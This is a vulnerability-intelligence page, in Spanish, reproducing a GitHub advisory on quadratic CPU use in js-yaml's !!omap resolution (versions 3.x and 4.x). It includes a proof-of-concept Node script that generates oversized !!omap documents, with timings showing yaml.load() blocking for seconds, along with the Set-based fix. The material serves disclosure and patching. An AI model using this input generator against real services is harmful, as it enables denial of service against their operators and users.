llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · js-yaml

GHSA-5P4M-2WFM-XMQJ

JS-YAML: Consumo de CPU cuadrático en la resolución de !!omap (3.x y 4.x): la corrección de CVE-2026-59870 no fue retroportada

Parche disponible
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche2 versionesPrimer parche a -6 d de la divulgación
Exposición106 dDesde la divulgación, 6 ago 2026, 3:27 p. m.
Detección102 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (alta) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
No es drama, es prevención. Hazme caso.Las PoC crecen rápido, como las llamas bebé.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 3.15.1 +1
Monitoreo
Detectada
31 jul 26
6 ago 26
10 sept 26
17 nov 26
21 nov 26
31 jul 26
28 ago 26
26 sept 26
24 oct 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 3.15.1 js-yaml · -6 d desde divulgación
Remediación Parche 4.3.1 js-yaml · -6 d desde divulgación
Divulgación Publicada GHSA-5P4M-2WFM-XMQJ divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub

Consumo de CPU cuadrático en la resolución de `!!omap` (js-yaml 3.x y 4.x)

Resumen

`resolveYamlOmap()` verifica la unicidad de las claves en las secuencias `!!omap` mediante un recorrido lineal (`objectKeys.indexOf(...)`) dentro del bucle por elemento, lo que hace que la resolución sea O(n²) en función del número de entradas. Por lo tanto, un documento YAML de tamaño moderado consume una cantidad desproporcionada de CPU dentro de `yaml.load()`, lo que supone una denegación de servicio contra cualquier consumidor que analice YAML no confiable.

`!!omap` está registrado en el esquema predeterminado (`lib/schema/default.js` → `require('../type/omap')`), por lo que una llamada simple `yaml.load(entradaNoConfiable)` sin opciones resulta afectada. No se requiere ningún esquema personalizado ni una configuración no predeterminada.

Se trata de la misma debilidad que CVE-2026-59870 / GHSA-724g-mxrg-4qvm, que se corrigió en la línea 5.x en la versión 5.2.1. Esa corrección nunca se retroportó: ambas líneas heredadas que todavía se mantienen conservan la implementación original.

Versiones afectadas

| Línea | Última versión probada | Estado |
|---|---|---|
| 3.x | 3.15.0 | Afectada — `objectKeys.indexOf(pairKey)` en `lib/type/omap.js:29` |
| 4.x | 4.3.0 | Afectada — `objectKeys.indexOf(pairKey)` en `lib/type/omap.js:30` |
| 5.x | 5.2.2 | No afectada — corregida en 5.2.1 (usa un `Set`) |

Ambas cifras corresponden a la versión más reciente de cada línea en el momento de redactar este informe, por lo que no se trata de un problema de «estar en una versión antigua».

Detalles

`lib/type/omap.js` (js-yaml 4.3.0):

if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)
else return false

`objectKeys` crece en un elemento por cada entrada, y `Array.prototype.indexOf` es un recorrido lineal. Por ello, resolver un `!!omap` de `n` entradas realiza aproximadamente `1 + 2 + … + n` comparaciones: crecimiento cuadrático en `n`. El trabajo se realiza de forma síncrona dentro de `yaml.load()`, bloqueando el bucle de eventos de Node.js durante toda su duración.

La línea 5.x ya resuelve exactamente este problema al registrar las claves vistas en un `Set` (`src/tag/sequence/omap.ts`):

if (carrier.seen.has(key)) return 'duplicate key in ordered map'
carrier.seen.add(key)

Prueba de concepto

// poc.js  —  node poc.js
const yaml = require('js-yaml');
const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n';

for (const n of [10000, 20000, 40000, 80000]) {
  const d = doc(n), t = Date.now();
  yaml.load(d);                      // default schema, no options
  console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);
}
Medido (node v20.20.2, heap predeterminado, sin flags)

js-yaml 4.3.0

n=10000  bytes=137787   load=54ms
n=20000  bytes=297787   load=169ms
n=40000  bytes=617787   load=646ms
n=80000  bytes=1257787  load=2607ms

js-yaml 3.15.0

n=10000  bytes=137787   load=53ms
n=20000  bytes=297787   load=166ms
n=40000  bytes=617787   load=641ms
n=80000  bytes=1257787  load=2567ms

El tiempo de ejecución se multiplica por aproximadamente 4 con cada duplicación de `n`, que es la firma de O(n²) (un crecimiento lineal sería de ~2×).

Al escalar más: un documento de 2,48 MB con 150 000 entradas bloqueó `yaml.load()` durante 10,8 segundos.

Impacto

Cualquier servicio que analice YAML influenciado por un atacante con js-yaml 3.x o 4.x puede quedar detenido con una entrada pequeña. Como el bucle es síncrono, una sola solicitud bloquea el bucle de eventos de Node.js y detiene todas las demás solicitudes del proceso, por lo que la amplificación es por proceso y no solo por solicitud.

Severidad sugerida: consistente con CVE-2026-59870 (la misma debilidad en 5.x), es decir, impacto únicamente en la disponibilidad, vector de ataque de red, sin requerir privilegios ni interacción del usuario.

Corrección sugerida

Replicar la corrección de 5.x: reemplazar el recorrido lineal por un `Set`:

// lib/type/omap.js
const seen = new Set()
// ...
if (seen.has(pairKey)) return false
seen.add(pairKey)

Esto preserva exactamente la semántica existente de rechazo de claves duplicadas y hace que la resolución sea O(n). Un límite al estilo `maxOmapLength` también funcionaría, pero el `Set` coincide con lo que 5.x ya distribuye y no requiere una nueva opción.

Referencias

  • CVE-2026-59870 / GHSA-724g-mxrg-4qvm — misma debilidad en 5.0.0–5.2.0, corregida en 5.2.1
  • `lib/type/omap.js` (3.x, 4.x) — el resolutor afectado
  • `lib/schema/default.js` — registra `!!omap` en el esquema predeterminado

Descubrimiento

Encontrado mediante un escáner automatizado de análisis estático y de ejecución de prueba de concepto, contra js-yaml 4.2.0, y verificado manualmente en 3.15.0 y 4.3.0 ejecutando la prueba de concepto anterior. Todos los tiempos de este informe se midieron en las versiones actuales de cada línea, no en la versión originalmente analizada.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
js-yaml≥ 3.0.0 < 3.15.1
js-yaml≥ 4.0.0 < 4.3.1
3.0.0
3.15.1
4.0.0
4.3.1
5.5.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmjs-yaml
Corregida 3.15.1, 4.3.1 -6 d · -6 d 5.5.0 no afectada
Versiones corregidas3.15.14.3.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Otrahttps://github.com/nodeca/js-yaml/security/advisories/GHSA-5p4m-2wfm-xmqj
Otrahttps://github.com/nodeca/js-yaml

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.